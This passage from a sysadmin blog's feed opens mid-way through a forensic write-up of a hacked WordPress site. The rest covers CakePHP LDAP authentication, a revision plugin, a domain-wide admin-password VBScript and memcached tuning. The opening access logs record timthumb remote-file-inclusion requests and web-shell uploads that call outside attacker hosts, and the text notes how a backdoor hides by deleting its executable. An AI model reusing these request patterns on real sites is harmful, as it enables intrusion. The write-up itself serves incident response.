116.197.4.30 - - [22/Jan/2012:21:28:34 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php HTTP/1.1" 200 6275 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:28:45 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php?http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&action=upload&chdir=/home/asynonymous/rdecojewelry.com/htdocs/cms/wp-content/themes/dt-chocolate/cache/ HTTP/1.1" 200 6374 "http://www.rdecojewelry.com/cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:29:09 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/header.php HTTP/1.1" 200 1252 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:29:22 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/header.php HTTP/1.1" 200 1379 "http://www.rdecojewelry.com/cms//wp-content/themes/dt-chocolate/cache/header.php" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:30:02 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php?http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&action=upload&chdir=/home/asynonymous/rdecojewelry.com/htdocs/cms/wp-content/themes/dt-chocolate/cache/ HTTP/1.1" 200 6421 "http://www.rdecojewelry.com/cms//wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php?http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&action=upload&chdir=/home/asynonymous/rdecojewelry.com/htdocs/cms/wp-content/themes/dt-chocolate/cache/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:37:10 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 7514 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:37:45 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 2540 "http://www.rdecojewelry.com/cms//wp-content/themes/dt-chocolate/cache/renm.php" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:37:57 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/renm.php HTTP/1.1" 200 7144 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"</pre>
<p>Bam, their we go, we now see exactly what they were doing.  They were using those scripts in the cache directory to download other files to the system and get them in place to run their scam.  They are also using their new files to move other files all over the system.</p>
<p>But how did the original php scripts get into the cache directory, and what is with that odd filename? Looking though the access log further, I see several really odd requests.</p>
<pre>
213.198.35.81 - - [22/Jan/2012:13:32:38 -1000] "GET /cms/who-is-r-deco-jewelry//wp-content
/themes/dt-chocolate/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 301 
- "-" "Mozilla/5.0   (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"

213.198.35.81 - - [22/Jan/2012:13:34:57 -1000] "GET /cms/blog//wp-content/themes/dt-chocolate
/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 301 - "-" "Mozilla/5.0   
(Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"

213.198.35.81 - - [22/Jan/2012:13:35:02 -1000] "GET /cms//wp-content/themes/dt-chocolate
/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 400 184 "-" 
"Mozilla/5.0   (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"

213.198.35.81 - - [22/Jan/2012:13:35:16 -1000] "GET /cms//wp-content/uploads/thumb-
temp/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 301 - "-" "Mozilla/5.0   (Windows; U; 
Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"

86.148.157.95 - - [22/Jan/2012:14:55:35 -1000] "GET /cms/return-policies//wp-content/themes
/dt-chocolate/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 301 - "-" 
"Mozilla/5.0 (Windows; U; Windows NT   5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"

86.148.157.95 - - [22/Jan/2012:15:00:56 -1000] "GET /cms/return-policies//wp-content/themes
/dt-chocolate/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 301 - "-" 
"Mozilla/5.0 (Windows; U; Windows NT   5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"

86.148.157.95 - - [22/Jan/2012:15:01:01 -1000] "GET /cms//wp-content/themes/dt-chocolate
/thumb.php?src=http://blogger.com.nilgirisrealty.com/cok.php HTTP/1.1" 400 184 "-" "Mozilla/5.0 
(Windows; U; Windows NT   5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
</pre>
<p>What is that?  It seems they are calling the thumb.php script and passing it as a URL.  If we go download that file at http://blogger.com.nilgirisrealty.com/cok.php  we see that same exact gif exploit in the header of the script.  This makes sense now.  They were using the thump.php script (which is used to dynamically make thumbnails and cache them in the cache directory) to upload their malicious scripts and then called them based off of a dynamically assigned name they were given.</p>
<p>Going through the reset of the files in the cache directory, I see they have embedded Trojan horse script to try to bind backdoor install.  Once again due to the webserver configuration this was not possible to run.  </p>
<p>To insure they didn&#8217;t get their backdoor on this computer, I used lsof to check for open ports and running processes on my machine.  Thanks to Dre @ http://www.securityaegis.com/ for pointing our that you should also use <strong> lsof +L1</strong> to detect any running processes that have had their files deleted after starting.  This is a great way to hide your backdoor.  Start your program, once it&#8217;s running remove the executable.  Then a scanner can&#8217;t see it.  You&#8217;re program would only be running in memory then.  Also since I ran chkroot and a virus scan and both of those turned up clean as well as the fact that I didn&#8217;t discover any other new files, I now know the full extent of the attack. </p>
<p>I&#8217;ve gone through and decoded each of the files they uploaded into the cache directory as well as other parts of the system and used the access_log to discover all the files they uploaded.  Now that I know the full extent of the attack I can start to clean up the system.</p>
<h2 style="text-align: center;">Clean up Time</h2>
<h3>Remove malicious files</h3>
<p>Now that we know all the files that were uploaded we are going to start repairing the system.  I&#8217;m going to remove all the newly created files as well as the thumb.php script that was used for the initial attack.  I actually discovered after a little bit of research that the thumb.php file was actually the well known <a href="https://code.google.com/p/timthumb">timthumb script</a>.  The theme developer had just stripped out the header originally and that is why it wasn&#8217;t recognized earlier.  Let this be a lesson to all programmers:  If you use someone else&#8217;s code, you better damn well give them credit!  Especially if it has known vulnerabilities, this way vulnerability scanners can detect it easier.  So I downloaded the most recent version (as of this writing 2.8.5) which has this vulnerability patched and replaced the file.</p>
<h3>Restore original vendor files.</h3>
<p>Replace all plugins and core WordPress files with the originals just in case a core file was modified and you didn&#8217;t detect it.  You may even want to check if there is a new version of your theme available for update.  Be sure that if you do update your theme that it doesn&#8217;t contain the same vulnerability.</p>
<h3>Security Salt &amp; Nounces</h3>
<p>One of the first things you need to do before you turn your site back on is update your security strings inside wordpress/wp-config.php  see <a href="https://api.wordpress.org/secret-key/1.1/salt/">https://api.wordpress.org/secret-key/1.1/salt/</a>  That URL will generate you new salt&#8217;s and nounces. </p>
<h3> MySQL Security</h3>
<p>Also, since they got access to your wordpress site, you should change the password for your wordpress db user and go through your database and make sure no malicious scripts where injected into your post.  How to do that is outside the scope of this article, but if you need a consultant I&#8217;m happy to help.</p>
<h2>Conclusion</h2>
<p>It sucks getting hacked, and if you use your site to do business it can be very expensive getting compromised.  If you feel like you need professional help cleaning up a site, we can help.  Use the About section above to get in touch with us.  </p>
<p>Also, see our article on <a href="http://www.analogrithems.com/rant/2011/08/25/wordpress-security-tips-and-tricks/">how to secure your site before it gets hacked.</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/so-your-wordpress-site-got-hacked-now-what/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>CakePHP 2.0 Ldap Authentication</title>
		<link>https://www.analogrithems.com/rant/cakephp-2-0-ldapauth/</link>
					<comments>https://www.analogrithems.com/rant/cakephp-2-0-ldapauth/#comments</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Wed, 04 Jan 2012 02:33:11 +0000</pubDate>
				<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[ldap]]></category>
		<category><![CDATA[Web Development]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=1079</guid>

					<description><![CDATA[With CakePHP 2.0 the authentication system has been completely redesigned to allow for extending the Auth component to allow other methods of authentication and authorization. Â I finally sat down last weekend and updated my LDAPAuth component to work with the new version. Â While I was doing it I added a few new features that people [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>With CakePHP 2.0 the authentication system has been completely redesigned to allow for extending the Auth component to allow other methods of authentication and authorization. Â I finally sat down last weekend and updated my LDAPAuth component to work with the new version. Â While I was doing it I added a few new features that people had been asking for. Also by updating this component I ended up also updating the Ldap Datasource. This included a lot of code cleanup as well.</p>
<p>You can get the new code atÂ <a href="https://github.com/analogrithems/idbroker/tree/dev_cake2.0">https://github.com/analogrithems/idbroker/tree/dev_cake2.0</a></p>
<p>To get things going download the idbroker code from github and place it in your Â plugin folderÂ <strong>App/Plugin/Idbroker</strong>Â pay attention to the new capital first letter. Â This is a new convention for the CakePHP 2.0 to help in automatic class loading.</p>
<p>Now in your <strong>App/Controller/AppController.php</strong>Â you need a minimal of the following</p>
<p>[php]<br />
&lt;?php<br />
class AppController extends Controller {<br />
        var $components = array(&#8216;Auth&#8217;, &#8216;Session&#8217;, &#8216;RequestHandler&#8217;);</p>
<p>        var $user;</p>
<p>        function beforeFilter(){<br />
                global $menus;<br />
                $this-&gt;Auth-&gt;authenticate = array(&#8216;Idbroker.Ldap&#8217;=&gt;array(&#8216;userModel&#8217;=&gt;&#8217;Idbroker.LdapAuth&#8217;));<br />
                //If you want to do your authorization from the isAuthorized Controller use the following<br />
                $this-&gt;Auth-&gt;authorize = array(&#8216;Controller&#8217;);<br />
        }</p>
<p>        /*<br />
        * This just says aslong as this is a valid user let them in, you can also modify this to restrict to a group<br />
        */<br />
        public function isAuthorized(){<br />
                $user = $this-&gt;Auth-&gt;user();<br />
                if($user) return true;<br />
                return false;<br />
        }<br />
}<br />
[/php]</p>
<p><strong>Notice:</strong>That in the components you define the Auth component. This is making all your controllers register the authentication component. In the beforeFilter you are specifically stating you want to use the Idbroker&#8217;s Ldap Auth. Then you&#8217;re also telling your app to use the prepackaged model for the LDAP component.</p>
<p>The next step is to configure your Users controller and your views.</p>
<p>In your <strong>/App/Controller/UsersController.php</strong></p>
<p>[php]<br />
&lt;?php<br />
class UsersController extends AppController {<br />
        var $name = &#8216;Users&#8217;;</p>
<p>        /*<br />
        * Make sure to define which functions don&#8217;t require auth to be accessed<br />
        */<br />
        function beforeFilter(){<br />
                $this-&gt;Auth-&gt;allow(&#8216;usernameExists&#8217;, &#8216;forgotPassword&#8217;, &#8216;signup&#8217;,&#8217;login&#8217;,&#8217;logout&#8217;);<br />
                parent::beforeFilter();<br />
        }</p>
<p>        function login(){<br />
                if ($this-&gt;request-&gt;is(&#8216;post&#8217;)) {<br />
                        if ($this-&gt;Auth-&gt;login()) {<br />
                                return $this-&gt;redirect($this-&gt;Auth-&gt;redirect());<br />
                        } else {<br />
                                $this-&gt;Session-&gt;setFlash(__(&#8216;Username or password is incorrect&#8217;), &#8216;default&#8217;, array(&#8216;class&#8217;=&gt;&#8217;error-message&#8217;), &#8216;auth&#8217;);<br />
                        }<br />
                }<br />
        }</p>
<p>        function logout(){<br />
                $this-&gt;log(&quot;Destroying session&quot;,&#8217;debug&#8217;);<br />
                $this-&gt;Session-&gt;destroy();<br />
                $this-&gt;redirect($this-&gt;Auth-&gt;logout());<br />
        }<br />
}<br />
[/php]</p>
<p>You&#8217;ll notice compared to previous version of the authcomponent you used to just have the Auth component automatically do the auth, now you actually call <strong>$this-&gt;Auth-&gt;login()</strong> to get it to actually check the username and password and run the login logic.</p>
<p>We&#8217;re not done yet, we also need to create our view <strong>/App/View/Users/login.ctp</strong></p>
<p>[php]<br />
&lt;div id=&#8217;loginForm&#8217;&gt;<br />
&lt;?php<br />
        echo $this-&gt;Session-&gt;flash(&#8216;auth&#8217;);<br />
        echo $this-&gt;Form-&gt;create(&#8216;Users&#8217;, array(&#8216;action&#8217; =&gt; &#8216;login&#8217;));<br />
        echo $this-&gt;Form-&gt;input(&#8216;username&#8217;);<br />
        echo $this-&gt;Form-&gt;input(&#8216;password&#8217;,array(&#8216;value&#8217;=&gt;&#8221;));<br />
        echo $this-&gt;Form-&gt;input(&#8216;remember&#8217;,array(&#8216;type&#8217; =&gt; &#8216;checkbox&#8217;, &#8216;label&#8217; =&gt; &#8216;Remember me&#8217;));<br />
        echo $this-&gt;Form-&gt;submit(&#8216;Login&#8217;);<br />
?&gt;<br />
&lt;/div&gt;<br />
[/php]</p>
<p>Last piece to tie this all together is telling your application how to access your LDAP server. Add something like this to youyr <strong>/App/Config/database.php</strong></p>
<p>[php]<br />
&lt;?php<br />
class DATABASE_CONFIG {<br />
        public $ldap = array (<br />
                        &#8216;datasource&#8217; =&gt; &#8216;Idbroker.LdapSource&#8217;,<br />
                        &#8216;host&#8217; =&gt; &#8216;localhost&#8217;,<br />
                        &#8216;port&#8217; =&gt; 389,<br />
                        &#8216;basedn&#8217; =&gt; &#8216;DC=example,DC=com&#8217;,<br />
                        &#8216;login&#8217; =&gt; &#8216;CN=Manager,DC=example,DC=com&#8217;,     //For Proxy Userdn<br />
                        &#8216;password&#8217; =&gt; &#8216;LdapPassword&#8217;,  //For Proxy UserDN password<br />
                        &#8216;database&#8217; =&gt; &#8221;,<br />
                        &#8216;tls&#8217;         =&gt; false,<br />
                        &#8216;type&#8217; =&gt; &#8216;OpenLDAP&#8217;, //Available types are &#8216;OpenLDAP&#8217;, &#8216;ActiveDirectory&#8217;, &#8216;Netscape&#8217;<br />
                        &#8216;version&#8217; =&gt; 3<br />
        );<br />
}<br />
[/php]</p>
<p>And in your <strong>/App/Config/bootstrap.php</strong> add the following to the very bottom</p>
<p>[php]<br />
CakePlugin::load(&#8216;Idbroker&#8217;);<br />
Configure::load(&#8216;ldap&#8217;);<br />
[/php]</p>
<p>These two lines tell your app to first load the Idbroker plugin and then load the ldap config file which you will create next.</p>
<p>Then create an ldap config file <strong>/App/Config/ldap.php</strong>  with the following.  This config file will configure how Ldap is used through out your app.  </p>
<p>[php]<br />
/**<br />
 * LDAP Settings<br />
 *<br />
 */<br />
        $config[&#8216;LDAP&#8217;][&#8216;Db&#8217;][&#8216;Config&#8217;] = &#8216;ldap&#8217;; //What is the name of the db config that has the LDAP credentials<br />
        $config[&#8216;LDAP&#8217;][&#8216;User&#8217;][&#8216;Identifier&#8217;] = &#8216;uid&#8217;; //What is the LDAP attribute that identifies the username attribute,<br />
                                                       // openldap, iplant, netscapr use uid, AD uses samaccountname<br />
        $config[&#8216;LDAP&#8217;][&#8216;Group&#8217;][&#8216;Identifier&#8217;] = &#8216;cn&#8217;; //What is the LDAP attribute that identifies the group name, usually cn<br />
        $config[&#8216;LDAP&#8217;][&#8216;Model&#8217;] = &#8216;Idbroker.LdapAuth&#8217;; //Default model to use for LDAP components<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapAuth&#8217;][&#8216;Model&#8217;] = &#8216;Idbroker.LdapAuth&#8217;;<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapAuth&#8217;][&#8216;MirrorSQL&#8217;][&#8216;Users&#8217;] = &#8216;User&#8217;; //A SQL table to duplicate ldap records in for user<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapAuth&#8217;][&#8216;MirrorSQL&#8217;][&#8216;Groups&#8217;] = &#8216;Group&#8217;; //A SQL table to duplicate LDAP records in for groups<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapACL&#8217;][&#8216;Model&#8217;] = &#8216;Idbroker.LdapAcl&#8217;;<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapACL&#8217;][&#8216;groupType&#8217;] = &#8216;group&#8217;;<br />
        $config[&#8216;LDAP&#8217;][&#8216;groupType&#8217;] = &#8216;groupofuniquenames&#8217;; //What object class do you use for your groups?<br />
        $config[&#8216;LDAP&#8217;][&#8216;Group&#8217;][&#8216;behavior&#8217;][&#8216;tree&#8217;][&#8216;parent_id&#8217;] = &#8217;49db8df1-5e74-4e91-b15f-4d33e927f14e&#8217;; //Are you using a tree behavior?  Need to set the default parent_id?<br />
[/php]</p>
<p>That last part was a lot, not all of that is needed. Really just the first line is <strong>$config[&#8216;LDAP&#8217;][&#8216;Db&#8217;][&#8216;Config&#8217;] = &#8216;ldap&#8217;;</strong> &#8211; this part tells your application which database config to use for LDAP. The other config options are for new extended features that I will explain below.</p>
<p>When creating this plugin I made use of the new extended features to allow you to use the HTTP basic authentication. In this method you can actually pass your username and password credentials in the http request header. This is useful for allowing command line tools like wget &amp; curl to access authorized parts of your application. It is also used for rest applications.</p>
<p>Another new features that has been added to this Auth Component is the ability to have Ldap Auth mirror a SQL table. What this means is that if you really want to have your user information in SQL but just have authentication come from Ldap you can do that. You need to add the following configuration options to the bootstrap.php These tell it which Models to use to mirror the data to and what the LDAP identifiers are for the data.</p>
<p>[php]<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapAuth&#8217;][&#8216;MirrorSQL&#8217;][&#8216;Users&#8217;] = &#8216;User&#8217;; //A SQL table to duplicate ldap records in for user<br />
        $config[&#8216;LDAP&#8217;][&#8216;LdapAuth&#8217;][&#8216;MirrorSQL&#8217;][&#8216;Groups&#8217;] = &#8216;Group&#8217;; //A SQL table to duplicate LDAP records in for groups<br />
        $config[&#8216;LDAP&#8217;][&#8216;User&#8217;][&#8216;Identifier&#8217;] = &#8216;uid&#8217;; //What is the LDAP attribute that identifies the username attribute,<br />
                                                       // openldap, iplant, netscapr use uid, AD uses samaccountname<br />
        $config[&#8216;LDAP&#8217;][&#8216;Group&#8217;][&#8216;Identifier&#8217;] = &#8216;cn&#8217;; //What is the LDAP attribute that identifies the group name, usually cn<br />
[/php]</p>
<h2>Have a question?</h2>
<p>Discuss it in the <a href="http://www.analogrithems.com/rant/forums/forum/cakephp-2-0-ldap-plugin/">CakePHP 2.0 Ldap Plugin</a> Forum</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/cakephp-2-0-ldapauth/feed/</wfw:commentRss>
			<slash:comments>50</slash:comments>
		
		
			</item>
		<item>
		<title>Revisionable Behavior in CakePHP</title>
		<link>https://www.analogrithems.com/rant/revisionable-behavior-in-cakephp/</link>
					<comments>https://www.analogrithems.com/rant/revisionable-behavior-in-cakephp/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Tue, 06 Dec 2011 03:40:01 +0000</pubDate>
				<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=969</guid>

					<description><![CDATA[There have been many times where I need to have some sort of revision ability in my cake apps. Â I&#8217;ve looked through the bakery and never found a very good clean solution. Â I thought about it for a bit and it seems like a pretty simple thing to do, so I made a light weight [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>There have been many times where I need to have some sort of revision ability in my cake apps. Â I&#8217;ve looked through the bakery and never found a very good clean solution. Â I thought about it for a bit and it seems like a pretty simple thing to do, so I made a light weight simple behavior that provides this</p>
<p>The behavior is built into a plugin because it also has an simple model(table) that it uses to store revisions for all the other tables. Â The idea is that when ever you update your table this behavior will jump in, grab the current copy of the data and save it to the revisions table with the current timestamp. Â It then adds a few functions to your model you&#8217;ve added the behavior on to make sure it can see the previous behaviors.</p>
<p>One of the best features of this plugin is that it will store multiple models revisions all in the same table.</p>
<p>I&#8217;ve written this for CakePHP 1.3.x so it make not work with older or newer versions. Let me know if you have any questions or feedback</p>
<p>You may now be asking your self, where can one find such a fine piece of code? Â As with most of my code it resides on github Â <a href="https://github.com/analogrithems/revisionable">https://github.com/analogrithems/revisionable</a></p>
<p>So far it is very simple, all you have to do add re-visioning to your models is add the revisionable behavior to your plugin.</p>
<h3>Setup</h3>
<p>1) First you need to add the table to your project  use the following to generate that<br />
	cake schema create Revisionable.revision</p>
<p>2) add the behavior to your model like so </p>
<p>[php]<br />
	var $actAs = array(&#8216;Revisionable.Revisionable&#8217;);<br />
[/php]</p>
<h3>Some Configure options</h3>
<p>If you already have a table named revisions in your project and need to call the it something else then<br />
make a new table/model in your project that has the same schema as this plugin and pass that model name<br />
to the actAs setup like so</p>
<p>[php]<br />
	var $actAs(&#8216;Revisionable.Revisionable&#8217;=&gt;array(&#8216;revisionableModel&#8217;=&gt;$newModelName));<br />
[/php]</p>
<h2>To Do</h2>
<p>So far aside from creating a revision everytime the data changes the only other feature of this plugin<br />
is the listRevisions function.  It works like this</p>
<p>[php]<br />
	$revisions = $this-&gt;Model-&gt;listRevisions($this-&gt;Model-&gt;id);</p>
<p>	print_r($revisions);<br />
	array(<br />
		&#8216;2011-12-05 01:01:01&#8217;=&gt; array(<br />
			&#8216;Pages&#8217; =&gt; array(<br />
				&#8216;id&#8217;=&gt; &#8216;4edd8cc3-a628-490b-8cbf-6435ac1005e9&#8217;,<br />
				&#8216;name&#8217;=&gt; &#8216;foobar&#8217;,<br />
				&#8216;body&#8217;=&gt; &#8216;&#8230;.&#8217;<br />
			)<br />
		)<br />
	);<br />
[/php]</p>
<p>Need to create some more functions that add to this, like a a restore where you pass the id &amp; date and<br />
it will do a restore and perhaps a diff viewer.  Patches are warmly welcome.</pre>
<p>&nbsp;<br />
Also I use uuid as my primaryKeys  I will try to find some time to ad a configuration option that will allow for int as the primaryKey.  In all reality, nothing really prevents this from working with int except for the table schema, so if you just change the table schema to use int then the rest of the plugin will follow.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/revisionable-behavior-in-cakephp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Change Local Admin Password on All Computers in Your Domain</title>
		<link>https://www.analogrithems.com/rant/change-local-admin-password-on-all-computers-in-your-domain/</link>
					<comments>https://www.analogrithems.com/rant/change-local-admin-password-on-all-computers-in-your-domain/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Wed, 02 Nov 2011 00:23:13 +0000</pubDate>
				<category><![CDATA[ldap]]></category>
		<category><![CDATA[Windows Scripting]]></category>
		<category><![CDATA[Active Directory]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=836</guid>

					<description><![CDATA[Here is an awesome script I found to change the admin password on all the computers in your domain. Â It uses a simple visual basic object to search for all the computers in your domain&#8217;s Active Directory then loops through each computer and sets a new password for the Administrator account. &#160; [sourcecode language=&#8221;vb&#8221;] On [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Here is an awesome script I found to change the admin password on all the computers in your domain. Â It uses a simple visual basic object to search for all the computers in your domain&#8217;s Active Directory then loops through each computer and sets a new password for the Administrator account.</p>
<p>&nbsp;</p>
<p>[sourcecode language=&#8221;vb&#8221;]<br />
On Error Resume Next<br />
rem http://blogs.technet.com/b/heyscriptingguy/archive/2007/07/03/how-can-i-change-the-local-administrator-password-on-all-my-computers.aspx<br />
Const ADS_SCOPE_SUBTREE = 2</p>
<p>Set objConnection = CreateObject(&quot;ADODB.Connection&quot;)<br />
Set objCommand =   CreateObject(&quot;ADODB.Command&quot;)<br />
objConnection.Provider = &quot;ADsDSOObject&quot;<br />
objConnection.Open &quot;Active Directory Provider&quot;</p>
<p>Set objCommand.ActiveConnection = objConnection<br />
objCommand.CommandText = _<br />
    &quot;Select Name From &#8216;LDAP://DC=yourcompany,DC=com&#8217; Where objectClass=&#8217;computer&#8217;&quot;<br />
objCommand.Properties(&quot;Page Size&quot;) = 1000<br />
objCommand.Properties(&quot;Searchscope&quot;) = ADS_SCOPE_SUBTREE<br />
Set objRecordSet = objCommand.Execute<br />
objRecordSet.MoveFirst</p>
<p>Do Until objRecordSet.EOF<br />
    strComputer = objRecordSet.Fields(&quot;Name&quot;).Value</p>
<p>    Set objUser = GetObject(&quot;WinNT://&quot; &amp; strComputer &amp; &quot;/Administrator&quot;)<br />
    objUser.SetPassword &quot;mynewpassword!&quot;</p>
<p>    objRecordSet.MoveNext<br />
Loop<br />
[/sourcecode]</p>
<p>&nbsp;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/change-local-admin-password-on-all-computers-in-your-domain/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to Optimize your WP eCommerce Site</title>
		<link>https://www.analogrithems.com/rant/how-to-optimize-your-wp-ecommerce-site/</link>
					<comments>https://www.analogrithems.com/rant/how-to-optimize-your-wp-ecommerce-site/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Mon, 10 Oct 2011 00:36:28 +0000</pubDate>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress eCommerce]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[w3 total cache]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=729</guid>

					<description><![CDATA[I had a few people ask me how to really get the most out of their WP eCommerce site. Â On its own WordPress is actually a really fastÂ efficientÂ program. Â It&#8217;s not until we start adding on our fancy themes and useful plugins that it starts to bog down. Â Mix this with lots of traffic and you [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>I had a few people ask me how to really get the most out of their WP eCommerce site. Â On its own WordPress is actually a really fastÂ efficientÂ program. Â It&#8217;s not until we start adding on our fancy themes and useful plugins that it starts to bog down. Â Mix this with lots of traffic and you have a 500lb gorilla problem. Â It&#8217;s ok though because some amazing tools have been written to fix this. Â This post will show you how to optimize your WP eCommerce Site to get the most out of it. Â This method assumes you aren&#8217;t on a shared host or at least have the ability to install extra software and run additional services on your server.</p>
<h1>Step 1</h1>
<p>The first thing you need to do is download and install <a href="http://memcached.org/">Memcache</a>. Â LuckilyÂ in most distros their is a package for this. Â In Centos,Redhat and fedora you can install by simply doing the following.</p>
<blockquote><p>yum -y install memcached libmemcached php-pecl-memcache</p></blockquote>
<p>So a few things to note, one is we actually install multiple packages. Â The first one is the memcached server, the second one is a set of common client libraries and the last is the php library. Â You may at this point be wondering what is Memcache, great question. Â Memcache is a simple server that you run to cache data for you. Â It cuts down on the amount of SQL queries you do by caching them. Â It was originally created by some smart folks at Live Journal to try to ease up on the extreme load they were putting on their databases. Â  They claimed memcache caused an 80%Â improvementÂ in performance.</p>
<h2>How does it work?</h2>
<p>Basically when you need to get some data from your database you check if memcache has that data first, if it does you take that and don&#8217;t bother with the expensive db query. Â If it doesn&#8217;t you query the db and then tell memcache the result. Â That way next time you go to get that data you can get it from memcache which will be much faster than your database. Â This is important in ecommerce because on a single page load you can make over 700 sql queries.</p>
<p>So once you have memcache installed, Â you need to configure it. Â I set my cache size to 1024. Â This makes is probably overkill for a single ecommerce site, but my server has plenty of memory and I feel it&#8217;s work it. Â If you installed via an rpm you&#8217;ll probably have a config file under <strong>/etc/</strong>Â for Centos/Redhat it will be <strong>/etc/sysconfig/memcached</strong>Â  See <a href="http://code.google.com/p/memcached/wiki/NewStart">this page</a>Â for more documentation on memcached. Â Once you have it configured start the memcached service.</p>
<blockquote><p>chkconfig memcached on<br />
/etc/init.d/memcached start</p></blockquote>
<h1>Step 2</h1>
<p>With memcached up and running it&#8217;s time to get the wordpress side configured to take advantage of this. Â Login to your dashboard as admin and go to the plugins section. Â Install the <a href="http://wordpress.org/extend/plugins/w3-total-cache/">W3 Tototal Cache Plugin</a>Â and activate it. Â The click on the <strong>Performance</strong>Â tab of the left column.</p>
<p>Enable the following and set the method to memcached</p>
<ul>
<li>Page Cache</li>
<li>Database Cache</li>
<li>Object Cache</li>
</ul>
<div><span style="font-size: small;"><span class="Apple-style-span" style="line-height: 24px;">Don&#8217;t forget to click save settings.</span></span></div>
<p>Click on the <strong>Page Cache</strong>Â link on the left and make sure that the memcache server configuration is correctly set. Â Do this again for <strong>Database Cache &amp; Object Cache</strong>. Â Once you are done visit a few of your public facing pages. Â At first you probably wont notice a performance increase until you or anyone clicks on those pages again. Â The next time the page loads it will have a lot of the information now stored in memcache and wont need to fetch nearly as much from the DB. Â If after a few minutes you do get a noticeable page boost check the Trouble shooting section below</p>
<h1>Summary</h1>
<p>Using this method I got my page load times to go from 2500ms to 56ms. Â One thing to note is that when ever you recycle the memcache server you will need to rebuild your cache. Â This is often referred to as warming up the cache. Â I&#8217;ve created small wget script to spider my sites and cause the cache to get get built quickly so when customers hit the pages they are already cached.</p>
<p>In the future the WP eCommerce is working on optimizing their pages by combining several of the sql queries to reduce the overall calls to the server. In the meant time a lot can be gained by using the method outlines here.</p>
